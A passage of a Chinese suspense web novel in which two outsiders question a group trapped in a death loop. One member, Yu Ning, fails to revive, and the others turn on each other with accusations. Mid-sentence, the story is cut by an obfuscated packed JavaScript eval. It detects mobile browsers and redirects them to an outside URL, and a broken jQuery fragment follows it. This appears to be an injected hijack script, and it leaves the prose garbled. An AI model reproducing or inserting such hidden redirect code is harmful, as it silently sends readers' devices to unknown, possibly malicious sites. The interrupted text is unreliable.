下一个房间,北乐、美晴和芽米三个人住一起,地上打了个地铺,北乐大咧咧地骑着被睡着,戴着一个很夸张很可爱的睡帽,床上美晴翻了个身嘟囔了几句,睡的也香,钱璎把餐轻轻放在桌上,郑野等在门口,不一会见钱璎出来,摇摇头,依旧没有什么新线索。
床上没有芽米,钱璎和郑野继续来到四楼,芽米果然正在工作室里创作。
她的画作完成了,那是一幅红色系为主的画,看起来像是一个层层叠叠的隧道。
见钱璎送饭来,她道了声谢,接过来就吃了起来。
相比较其他人的讲究,芽米吃的很有“活人感”,她一只脚踩在椅面上,把餐盘放在膝盖上,大快朵颐,酱汁蹭在脸上也只是伸出舌头舔掉。这七个人里,除了北乐,也就芽米能好好说上几句话,而北乐虽然愿意沟通,但大多时候是她自己自顾自随心所欲地讲述,她认为正确的,便爽快直言,且毫不在意他人的情绪,而芽米沟通的时候更贴心一点。
钱璎干脆坐到了一边搭话。
“你画的是什么?很漂亮。”
“漂亮?”芽米笑了,她又端详了一下自己的画,“你确定我画的很漂亮,而不是恐怖?”
“恐怖?你画的是什么?”
芽米:“你可以理解为……食道。”
她画了一个巨大的食道!
红色的层叠墙壁是食道管?
“自从被困这里,我经常做梦。梦里,我在这样的地方奔跑,想要寻找出口,却怎么也找不到。”
钱璎有点不适:“你是一个画家吗?”
芽米没有反驳:“混点钱过日子罢了。”
“你们都……很有钱?”
芽米笑:“他们很有钱,我算不上。祝嘉,上市公司富二代。美晴,家里开珠宝店的。金戈,家里开连锁酒店的,他现在接了他父亲的产业。”
金戈?钱璎回忆了一圈,目前不知道名字的也就是那个金丝边眼镜男了。
“他们都很有钱,我父母是普通人,不过是我自己赚的还算比普通人多一点罢了,跟他们没法比。”
“那你也是很厉害了,能跟她们玩到一起。”
闻言,芽米笑了一下,但没说什么,只是凭感觉来讲,钱璎觉得她是在否认,只是不想解释。
郑野细心补充:“你们是怎么聚到这里来的?又为什么下单订蛋糕?”
芽米仔细思索了一下,说:“第一个问题,我不想回答。”
“第二个问题嘛。我们被困这里很长时间,也尝试想了各种办法想要出去,那天是祝嘉发现的,本来网络都不能用了,但不知为什么订外卖的软件还可以使用。我们就想试试,能不能借机会逃出这里。”
再聊了一会,大概知道他们这些人已经在这里被困两周,每个人死亡循环了两次之事,芽米就不愿意多聊了,她不是那种很健谈的人。
但最后她看了眼门口的郑野问钱璎:“他追你?”
钱璎愣了一下,摇头,但这样又怕芽米误会成是她在追郑野,他们俩之间的关系该怎么形容呢,钱璎没有解释。
但芽米显然对她摇头否认的答案不那么认可,她笑了一下,说:“你们在找线索?”
钱璎想否认,芽米又笑了,道:“你们俩这样,找不到线索的。”
钱璎再想追问,芽米已经有了终止聊天之意,她转过去拿起画笔准备对那副画进行最后细节上的修改。
出去后,郑野问她:“聊了什么?”
他们俩人送饭秉着郑野给男生送、钱璎给女生送的习惯,郑野很礼貌地没有上前,只是一直在工作室的门口徘徊,隐约听到一些聊天内容,却不连贯。
钱璎把芽米跟她聊的内容一五一十跟郑野分享——除了有关郑野的那段话题。
郑野:“‘我们俩这样,找不到线索’是什么意思?”
钱璎其实最在意的也是这句话,但她心里有了方向,虽然芽米只是指点了一句,不愿意多说,也或许是芽米自己也拿不准这个方向会不会有收获,但钱璎觉得确实可以一试。她记得那个被改动的小说,关键在人,文里的提示在人身上,与上次不同,提示与事关系不大。
如果是人,那芽米为何建议他们俩这样找不到线索?方式有问题?或许应该直接绑住一个人严刑拷打?
不,也不对啊,文中提示她“寻找破解之侣,方可重生”,之侣,她第一个想到的伴侣就是郑野,但现在郑野已经伴随着她,第一单已经翻页,她还要怎么继续寻找?寻找谁?
如果那个提示指的不是郑野,那……是不是让她在这七个人里找到那个“侣”?
接下来的时间,两个人继续寻找线索,一无所获,时间也渐渐来到羽宁死亡的时辰,钱璎去厨房找了大枣,加了红糖块煮水,煮好后郑野端到楼上,她也进去一起。
羽宁躺在床上,皮肤发黄,血色尽失,旁边金戈正在摆弄手机,手机连不上网,不知道他在做什么打发时间。
低头看看时间,金戈说:“差不多了。”
他轻轻去握住羽宁的手,羽宁的手冰凉,金戈很有耐心地等待着,旁边郑野和钱璎都屏住了呼吸在看,他们想看一次复活,并且想从中发现什么。
然而,时间一分一秒过去,五分钟,十分钟。
金戈低头看了看表:“我们复活的时间也有前后差距,受伤重的有时候会醒的比较晚。”
二十分钟过去,金戈脑袋上开始渗出细密的汗珠,他撒开了羽宁的手,站起来,在床边走来走去。
有人敲门,回头看是祝嘉,门没关,他敲过开着的门后就径直进来了,很礼貌地问:“金少,羽宁还没醒吗?”
金戈有些焦躁:“还没有。”
祝嘉坐到床边,伸手在羽宁鼻子前试了试鼻息,又伸手摸了摸她的脉搏,皱眉:“不应该啊,虽然她受伤很重,但也超时太多了。”
门外又传来脚步声,有人重重的走进来,也没敲门,大声问:“干嘛呢你们,羽宁也不出来分享一下她的经历?我还在楼下等着呢。”
是衡哥。
衡哥见大家脸色不对,他伸头看过去,吓了一跳:“干嘛呢干嘛呢,还躺着呢,差不多得了!”
没有人回答他。
“我说,这种把戏我都玩过一次了,别装了。”衡哥上前拨弄了一下羽宁的手臂。
“别动她!”金戈有点不乐意了,声音提高。
衡哥闻言有点不乐意,祝嘉站起来沉声说:“她没有呼吸和脉搏。”
没有呼吸可以是憋的,但没有脉搏是装不出来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205539|179742||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
衡哥吓得退后了一步,看了看表情严肃的金戈,又看了看消沉的祝嘉,再看了看一言不发的钱璎和郑野,他磕巴了几次才说出完整的一句话:“没……没脉搏?”
他大叫了一声跑了出去。
郑野上前,经过金戈的同意,再次试了羽宁的鼻息和脉搏,同时他示意钱璎上前在羽宁的胸前紧贴听了听心跳。
没有心跳,确认羽宁没有复活迹象。
一会儿的功夫,美晴跌跌撞撞地跑了上来,后面跟着衡哥,美晴也在楼下,听到衡哥报信立刻飞奔上来,体质虚弱的她捂着心脏直喘,抑不住心里的恐惧,颤着声问:“羽宁她,还没有醒?”
见没有他们的人回答,钱璎只得代劳:“没有呼吸和脉搏,没有心跳。”
美晴跌跌撞撞跑过来,被金戈一把推开,金戈怒道:“你当时做了什么!”
美晴带着哭腔,她看着床上的羽宁说:“没有,我什么都没做!”
“当时你要找她说话,我给你们腾出空间,我出去了,这个屋子里只有你,羽宁最后一个见的人就是你,你敢说什么手脚都没做?”
“我没有,我真的没有!你出去以后我一直在等她洗澡,想等她洗完出来再聊,我跟她说话她不愿意理会我。是,我很生气,但我连她面都没有看到!”
金戈很生气,伸手就要抓住美晴的胳膊,衡哥上前一步挡在两人中间,说:“有话好好说,别跟女人动手。”
衡哥退出去,叫了还不知道事情状况的北乐和芽米,芽米还在工作室画画,北乐在院子里抽烟,俩人不紧不慢,衡哥跟她们说了事情严重性,俩人才有那么一点紧张起来,再进屋的时候,衡哥抱有希望地尝试又问了一下:“醒了吗?”
没有人说话,床上的睡美人依然安静地躺着。
大家商讨一番并没有什么结果。
金戈执着于说是美晴动了手脚,于是几次,美晴哭了,北乐出言:“是你把羽宁抱到这个床上的吧?”
金戈:“是又怎么样?”
北乐:“假设美晴跟我们大家一样,并不知道羽宁死后醒不过来,她断不敢直接杀害羽宁,羽宁死后,再有其他人动手脚让她醒不过来,也是有可能的。”
金戈:“那在座各位都比我更有可能动这个手脚。”
美晴叫嚷:“从你抱着她躺下到现在,只有你一直在,你动手机会才是最多的人!”
芽美轻声说:“我就猜到会有这么一天。”
北乐说:“会不会,会不会从这一轮开始,死掉的人,都不会再复活了?”
此话一出,在场之人无不头皮发麻,后背爬上密密麻麻一层冷汗。
这个猜测钱璎也想到了,但她没有说出来,如果有人认为是他们俩的加入才改变了规则,从而想要孤立他俩并限制自由,再想找线索就难了。
虽然房间还是这个房间,但气氛显然已经与上一次完全不同,昨日大家聚在这里看着羽宁的尸体时,都显得无所谓,反正还会醒,不过是体验了一次死亡的痛楚罢了。可这一次不同,如果羽宁不醒,后面的人还会每天死一个的话,那再过一周,这个屋子里就再没有活人了。
钱璎和郑野对视了一眼,从对方眼里看到了担忧,这些人轮回再次死亡,那他们俩呢?